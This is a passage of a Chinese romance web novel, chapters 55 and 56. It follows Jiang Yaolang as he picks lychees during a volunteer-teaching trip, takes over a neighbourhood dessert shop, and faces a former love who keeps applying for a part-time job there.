55.第 55 章
他们正好赶上了一批成熟的荔枝。
凌晨四点,困意未消的江瑶浪坐上了三轮车,随着众人一起上山。
路是新修的,虽然不宽也没灯,但胜在平坦好走,江瑶浪好奇心起,就与旁边开车的果农老哥搭话:“这路挺好的啊,我还以为会很颠簸呢。”
果农老哥说着一口让江瑶浪似懂非懂的乡音,但幸好嗓音大:“以前难走啊!后来小学建起来了后,一切都好了!”
“小学?”江瑶浪追问,“小瑶希望小学吗?”
“是咧是咧。”果农老哥说,“就那个建学校的啊,和政府一起给我们修了路咧。”
“还帮我们的荔枝啊,找到了买家。”想到这点,果农老哥大笑,“现在我们只用管种管收啦,以前还得到处求人买咧!都卖不出去!”
“没人要,只能贱卖,打农药的钱都难赚回来!”
“可也不能眼睁睁看着烂在树上,烂在地里!年年种,年年摘,卖不了几个钱,但也是钱啊。”回忆起往年的困境,果农老哥感叹。
谷贱伤农。
江瑶浪瞬间想到这个词,荔枝本就是一种娇贵又集中上市的水果,采摘、运输以及销售,三个环节都离不开一个“抢”字。
而在偏远的小地方,果农难以及时获取市场信息,更因为有限的物流与销售渠道,让他们只能在当地低价销售,他们不一定是跟风盲目种植,然而事实就是他们的荔枝几乎年年滞销。
辛辛苦苦一整年,收购价低到不能再低,却不能不卖。
“幸好,有人看到了,并且愿意帮忙。”江瑶浪替他们感到开心。
“是啊!”果农老哥又说,“我们的荔枝很漂亮的咧!又大又甜!”
“我和你说啊,树上刚摘下来的荔枝,才是最好吃的!你们城里人很难吃得到啦。”
“荔枝这种水果啊,就得新鲜!”果农老哥神色认真,一手开车一手挥舞,“你放久了一点都不好吃!完全不是一个味道的!”
这点确实是江瑶浪的知识盲区:“真的吗?我以前只在超市买过,已经很好吃了呀。”
果农老哥大笑出声:“哈哈,等到地方了,我给小兄弟摘一串,你就知道啦!”
“完全不一样的!”果农老哥再次强调。
江瑶浪也跟着笑:“那我可把期待值拉满了啊!”
“放心拉!拉到最大!”
*
江瑶浪到达果园的时候,里面已经有人在进行采摘工作了。
太阳还未升起,果园本应漆黑寂静,可此刻,却被果农们头上戴着的强光头灯照得通明,他们攀在人字梯,动作麻利地一勾一剪,递下串串带有露水的荔枝,交谈人声与劳作声响此起彼伏,是一首独特的协奏曲。
江瑶浪从未见过这种质朴的劳动场景,他忍不住细细观察,直到眼前也出现鲜红带露的荔枝。
“吃啊!小兄弟!”载他来的果农老哥信守承诺,给江瑶浪摘了老大一捧,“吃过后你就知道老哥说的话没夸大!”
江瑶浪没想拿这么多,只伸手接过最上面的一小枝,他还没道谢呢,就先被果农嫌弃。
他将那些荔枝全塞江瑶浪手上,还说他:“瞎客气!小兄弟又高又壮,怎么做事儿畏手畏脚。”
说完后果农老哥还叮嘱一句:“皮和核丢地上就行了啊,真怕你们城里人揣兜里揣一路。”
江瑶浪盛情难却,只好收下,但他也吃不了这么多,就打算找到同行的志愿者,分给他们一起吃。
结果他刚找到人,还没来得及说话呢,就发现他们手中也是一人一大捧,几人面面相觑,你看我我看你,最后又不知所措地看回手中的荔枝。
江瑶浪轻笑一声,率先举了举手中的荔枝:“趁着新鲜,快吃啊。”
果农老哥没骗人,刚从树上下来的荔枝确实是不一样的。
果皮非常鲜艳,红得活力、自然,很好剥开,手指轻轻用力一捏,外壳便脆裂开来,内里丰沛的汁水瞬间从开口处溅出。
皮下的果肉不是江瑶浪常见的、浑浊的白,它是完全透明的,晶莹剔透有弹性,非常漂亮,入口甘甜,确实是江瑶浪这种城里人从来没吃过的风味。
果农老哥也没有夸大,他们的荔枝品质确实好。
江瑶浪连吃了好多个,都是果大核小无虫的,一个次果坏果也没有。
他刚刚还觉得手里的荔枝太多吃不完,可真正吃起来,没用多久,手上就只剩下一小把了,他回头看同伴,发现他们也是相同的处境。
这时候果农老哥也凑了过来,肩上背着装满荔枝的筐:“怎么样!老哥有骗人不?”
江瑶浪竖起拇指,猛猛点头肯定荔枝的品质:“太好吃了,从来没吃过这么好吃的荔枝。”
果农老哥哈哈一笑,反手从筐里又抓了一大把要递给江瑶浪:“那就多吃点啊!”
江瑶浪是真的爱吃,但也是真的吃不下,他摆手拒绝,把果农老哥递过来的和自己手上的荔枝都放回了筐里。
“老哥,真吃饱了。”江瑶浪解释道,“让我先干点活儿吧,干累了我再吃。”
见果农老哥还想给他塞,江瑶浪忙说:“也不能真的只吃不干啊!我们城里人也没摘过荔枝呢。”
“也行吧,那你随便找个人带你玩玩。”
“放心吧老哥。”江瑶浪失笑,“我还是有点用的,不会捣乱啊。”
江瑶浪自认身体素质还行,但果农们也怕伤着他,没敢让他上梯子,为保万全,只让他去采摘人手可及的果子。
江瑶浪毫不在意地应下,乐呵呵地接过装备,自己一个人戴着头灯,拿着剪子不亦乐乎,往外运送一筐筐等待分拣的荔枝。
他们的采摘工作在中午前结束,江瑶浪看着还挂在枝头的荔枝,问果农老哥:“怎么就不摘了呢?”
果农老哥给他科普:“哈哈,当然不能继续摘啦,晒过的荔枝不好吃啦!”
“要求这么高的吗?”江瑶浪相对震惊。
“荔枝就是这样咧!不是有句话叫什么,什么一日变色,两日什么来着……”果农老哥绞尽脑汁也想不起那句话,最后大手一挥,“反正晒过的就是不好吃啦!放久了的就更难吃啦!”
“不然我们也不会天没亮就来摘啊!”
江瑶浪了然地点头:“我知道荔枝娇贵,没想到这么娇贵。”
“长见识了,真的。”江瑶浪笑着说。
回程的时候,江瑶浪还是搭乘果农老哥的三轮车,他们的身前身后是持续装箱、秩序运输的物流人员,江瑶浪看着一箱箱打包好的、往外销售的荔枝,心中感慨万千。
世界纷繁复杂,十有八九不如意,总有人被这个时代遗忘。
可也总有人心存善良,走访小乡小镇,为这些辛勤的人们提供一份助力。
*
十天时间一晃而过,结束支教的江瑶浪回到了厦门。
这次来接江瑶浪机的除了江瑶清,还有温绍臣。
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虽然温绍臣早前就说了会来参加江瑶清的毕业典礼,但见到他来接自己,江瑶浪还是觉得很开心。
“学长好啊。”江瑶浪向他问好。
“好哦。”温绍臣笑眯眯的,“支教累不累呀?”
江瑶浪摇头:“不算累。”
“嗯,那就好。”温绍臣伸出手,“行李给我吧?我帮你载回去,你们路上就不用这么辛苦。”
闻言,江瑶浪却问:“学长是开车来的吗?”
见温绍臣点头后,江瑶浪提议:“那不如把我们都载回去吧?”
此话一出,不止温绍臣,连江瑶清都倍感惊讶。
江瑶浪挑眉笑笑:“干嘛啊?我也不能一辈子不坐车吧。”
“坐学长的车,没问题的。”江瑶浪迎上他们忧虑的眼神,肯定道。
先笑出来的是温绍臣,他拍拍江瑶浪的大臂:“那走吧,学长开车可稳啦。”
“嘻嘻。”江瑶清也跟着笑,“我也好久没坐过学长的车啦。”
“上一次好像还是你哥大一的时候吧?”温绍臣回忆道,“载你们回家来着。”
“就是大一,刚开学没多久,我们出去采买物资。”江瑶浪接话,“买完以后学长就把我送回家了,顺路还接上了小清。”
“记得这么清楚呢。”温绍臣问。
“是啊,毕竟第一次坐豪车啊。”江瑶浪说,“简直是印象深刻。”
“哈哈。”温绍臣又笑,“那你考个驾照,学长送一辆给你,随你挑。”
“再说吧。”关于考驾照这事,江瑶浪觉得还需要一段时间考虑。
他们边走边聊,话题从考驾照轮到了江瑶清的毕业事宜,最后又回到了江瑶浪的支教体验。
提起支教,江瑶浪就想到小学和那些荔枝,于是他就忍不住朝温绍臣打听:“学长知道小瑶公益基金会吗?”
“嗯?”温绍臣疑惑,“怎么突然问起这个基金会了?”
“这次去的小学,是由它捐赠的,感觉很负责任,不管是建设学校,还是助力当地发展。”江瑶浪解释,“这么好的基金会,也不给自己做宣传,所以我挺好奇的。”
温绍臣也没藏着,把自己了解的信息共享给他:“知道,承意和我提过,是他们家弄的。”
“单家每年的公益支出本就巨大。”温绍臣又说,“他们是觉得自己成立一个基金会更方便,也不图经济回报,所以就懒得宣传。”
“这样啊。”江瑶浪点点头。
但心中却仍有疑虑。
江瑶浪不是一个自恋的人,但单家成立的基金会偏偏带有和自己名字相同的字,他好像没办法用巧合来说服自己。
可也不认为分开数年后,单承言对自己依旧念念不忘。
这个问题没办法进一步求证,江瑶浪只能放过。
“不过不管怎么说吧,确实是帮了不少人。”江瑶浪不再纠结,只说心中感受,“我还挺感谢他们的。”
“公益这方面,确实做得不错。”温绍臣也认可他们的行动。
这句话后,他们正好抵达了车辆停放的区域,温绍臣找到自己的车,转头看兄妹:“谁想坐我的副驾呢?”
“哥哥坐!”江瑶清抢先提议,“刚刚我已经坐过啦!”
江瑶浪没推脱,拉开门就上了车,自觉地给自己系上安全带。
“那我们出发咯!”兄妹都已经坐好,温绍臣点火打方向,踩下油门加速,“学长载你们回家。”
56.第 56 章
伤好出院后,再经营“玲姐甜品”时,小玲姐竟感觉到力不从心。
但“玲姐甜品”是一家经营多年的社区店,早已成为街坊邻居的生活部分。
她实在狠不下心说关就关,于是小玲姐决定寻找愿意接手的人。
只是这个接手的人选,也属实难找,小玲姐生怕所托非人,让自己多年的心血毁于一旦,更怕坑害老顾客,辜负他们的信任。
转让的消息不经意间传开,很快便传进了刚回北京的江瑶浪耳里。
江瑶浪认真思考后,主动找上小玲姐,对她说:“小玲姐,让我接手吧。”
小玲姐闻言一愣,随后果断拒绝:“你还年轻,干什么不好?来帮我管店这不是纯浪费吗?”
“小玲姐,你听我说。”江瑶浪语气温和却坚定,“抛开情感因素不谈,我也确实是最适合的人选。”
“我和小清不一样,她倒是有稳定的工作了,我可正愁没活儿干呢。”江瑶浪说明现状,一条条细数,“而且开店的门道可多了,这么难的工作,怎么就算浪费了呢。”
“再说了,我可是小玲姐一手带出来的呀,运营模式和配方,我可还全都记得清清楚楚。”江瑶浪继续数着,“没人能比我更快上手了,我还能保证价格、口感、味道都和以前一样,绝对不让顾客失望。”
“小玲姐,我和你一样都不想就这么关店,以前让我短期看几天店,这是管店吧?现在让我长期经营,其实也是管店,两者没什么区别的。”
“更何况,哪里能抛开情感因素呢?”江瑶浪又说,“小玲姐的恩情,我们一直都记着呢。”
然后他牵起小玲姐的手晃了又晃,声音软乎乎的:“这一次就让小浪帮帮你吧?好不好?”
“你都把话说完啦!”小玲姐瞪他一眼,“大小伙子不出去闯荡,就知道窝在这里。”
“反正都是打工,就让我给小玲姐打工吧,好不好嘛。”江瑶浪仍在劝说。
良久,小玲姐可算点了头。
“我可不给你付工资。”小玲姐轻哼一声,“你要做就做店长,要做店长就得做好自负盈亏的准备。”
“到时候亏了钱,可别凑到小玲姐身前哭。”
“小玲姐的基础打得好,而且小玲姐肯定会帮我的吧?”江瑶浪毫不在意地浅笑着,“对吧对吧?”
“对啦,哪里能真的不管你呢!”小玲姐拍拍江瑶浪的手背,“也正是因为我还得管着你,转让费你可一分都别给我啊。”
“小玲姐。”江瑶浪眼神无奈,“怎么这样呢,这不就是白送我了嘛。”
“怎么就白送了,你每月得给我两成收益啊。”小玲姐早有打算,“你努力多赚点,我不就能多拿点钱啦?”
江瑶浪却不打算接受,他张开手掌:“小玲姐,我们五五分。”
“五你个头。”小玲姐佯怒,把手悬在他的头上威胁。
手掌悬在头顶随时落下,江瑶浪识趣地收起大拇指,说:“不能再少了!”
没想到小玲姐还是不满意,伸手把他的食指掰了下去:“好了,既然你觉得OK了,我也完全OK,那就这样决定了啊!”
江瑶浪看着不伦不类比出“OK”手势的三根手指,不是很服气,但也不敢再把食指伸起来。
再加上头顶的手掌又往下压了一分,他只能点点头。
“小玲姐,砍价也不是这么砍的啊……”窝囊的江瑶浪嘟嘟嚷嚷。
“谁让我现在还是店长呢!”头顶的手掌下落,轻轻拍向江瑶浪的肩膀,小玲姐说,“小伙子,想接手我的店,就得先同意我的条件啊。”
“而且,你的能力我还不清楚嘛,三成也很多钱啦。”那只手又摸向江瑶浪的脸,“美人店长,利用好这张脸,生意不得源源不断啊!”
闻言,江瑶浪更无奈了:“我做东西也很好吃的,好不好?”
“怎么就得靠脸了呢……”
“不耽误啊,锦上添花嘛!”
“好好好,小玲姐说得对,让我好好利用一下。”江瑶浪开着玩笑,“看我怎么用这张脸给店里招来数不清的大订单。”
“哈哈哈。”小玲姐笑出声,“那我可等着数钱了。”
*
荣升店长没两天,江瑶浪同时迎来了首个大订单和自己的二十七岁生日。
那一天实在是忙得不可开交,忙得江瑶清甚至没空给江瑶浪做蛋糕,忙得甚至连已退休的小玲姐都被江店长喊了下来帮忙。
把订单都彻底送走后,江瑶清拿出店里仅剩的、因为有瑕疵所以没有出售的一角蛋糕,往上面插了根蜡烛,点燃后推到江瑶浪面前。
“许愿吧,哥哥。”
许愿结束后,江瑶浪吹灭蜡烛,把那角蛋糕分成三份,每份的分量恰好够三人一人一口,他们默契地同时吃进嘴里,瞬间就将蛋糕分食干净。
“哎,”江瑶清边叹气边调侃,“可怜的甜品主理人,生日这天全给别人做吃的喝的去咯。”
累瘫在椅子上的江瑶浪不以为然,受到了零点伤害:“赚钱当然比仪式感重要啊。”
“再说了。”江瑶浪勾起唇角,老气横秋,“我都一把年纪了,明年生日给我煮个鸡蛋就行。”
“啊啊,你这话一出立马变成老头子了。”江瑶清忍不住哀嚎,“快把我的长发公主、温柔哥哥、编发手艺人、性感人鱼、暖心教练、貌美店长、歌手、舞者、跳伞与风冲爱好者……”
“喂喂喂,”江瑶浪实在是听不下去了,出言打断,“可以了啊,尴不尴尬啊!”
“……还给我。”江瑶清小声说完。
“还有长发公主是什么啊!”
江瑶清的大江文学把小玲姐逗得不行,她笑着说:“谁的头发长就在说谁啊。”
“我们三人里面,就你头发最长,你不是长发公主谁是啊?”小玲姐对江瑶清使眼色,“是吧小清!”
“那当然!”江瑶清坚定点头,“谁让哥你臭美,留这么长的头发!”
“不管怎么说,长发公主真的太奇怪了啊。”江瑶浪拧着眉反驳,“长发王子也行啊。”
“不行不行。”江瑶清摇着头,“哥你这么身娇体软的,只适合做枕头公主。”
“谁身娇体软?”被质疑身材的江瑶浪不服气,他卷高袖子,让她们俩看自己漂亮的肱二头肌,“谁身娇体软?!”
“你啊。”江瑶清和小玲姐异口同声。
面对抛开事实不谈的两人,江瑶浪被迫哑火,只能委屈地哼哼:“我不和你们计较。”
“认清事实吧,长发瑶瑶公主。”江瑶清托着脸,一脸严肃地劝江瑶浪放弃抵抗
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被迫接受扭曲事实的江瑶浪,唯有嗯嗯啊啊地点头敷衍,配合她们把自己当成公主夸,夸到他红着脸落荒而逃。
*
接手店铺后,大多数的日子都很平淡,刺激心跳的大订单只是小概率事件。
以防万一,江瑶浪决定还是招个兼职。
但他对兼职的需求也没有那么强烈,所以只是往店外贴了张纸,也没在网上发布,总而言之,随缘得很。
在一个普通得不能再普通的午后,一身休闲装的单承言揭下那张白纸黑字的招聘启事,推开了“玲姐甜品”门,缓步走到正在吧台发呆的江瑶浪身前。
“江店长你好,我叫单承言,我来应聘兼职。”
托腮发呆的江瑶浪抬眼看向来人,看清后嘴角一撇,语气凉凉:“不招,招不起。”
被拒绝的单承言没有过多纠缠,点头致歉:“不好意思,打扰了。”
随后他走到门外,将那张招聘启事重新粘贴回原位。
隔日,单承言依旧是穿着一身休闲服,再次来到了“玲姐甜品”,伸手揭下那张由他亲手贴上的招聘启事,走到江瑶浪身前,对他说。
“江店长你好,我叫单承言,我来应聘兼职。”
此时的江瑶浪正在拖地,单承言正好挡了他的路,于是他不耐烦地说:“不招,抬脚。”
再次被拒绝的单承言自觉让路,语气满含歉意:“不好意思,打扰了。”
他重复着昨天的举动,再次把招聘启事贴回原位。
第三天,同一时间,同一着装的单承言又揭下那张启事,对江瑶浪说:“江店长你好,我叫单承言,我来应聘兼职。”
“不招。”擦着盘子的江瑶浪看都没看他一眼,只专注手上的活。
单承言礼貌躬身:“不好意思,打扰了。”
就这么重复了一周,单承言可算是获得了除“不招”以外的回复。
江瑶浪问他:“你会做什么?”
终于等到了表现的机会,单承言非常重视,异常认真:“我精通切柠檬锤柠檬、完整剥下葡萄皮、给普洱茶去涩。”
“还有,打发布蕾酱。”
很好,全是江瑶浪讨厌做的。
“呵。”江瑶浪冷笑着拒绝,“不好意思,达不到我的用人标准。”
单承言爽得要死,觉得今天实在是幸运,竟然能得到江瑶浪对他多说的十七个字。
但他面上不显,只是又道歉:“不好意思,打扰了。”
“可以问问店长的用人标准吗?”他神色坚毅,“我去学。”
“哦。”江瑶浪依旧是那个大方的江瑶浪,他说出要求,“不能姓单。”
“可以的。”这事儿不难,单承言重新整理着装,对江瑶浪说出更新后的自我介绍。
“江店长你好,我叫江承言,我来应聘兼职。”
“你有病?”江瑶浪真想一脚把人踹出去,每天都神神叨叨神神叨叨的,烦得要死。
“你到底是来干嘛的。”他是真的有点生气,懒得再和这人迂回。
“对不起。”把江瑶浪惹不开心,单承言才是真的慌了,他不再淡然,忙着解释,“我就是。”
“就是想找个借口见你一面。”
“对不起江瑶浪,我真的太想你了。”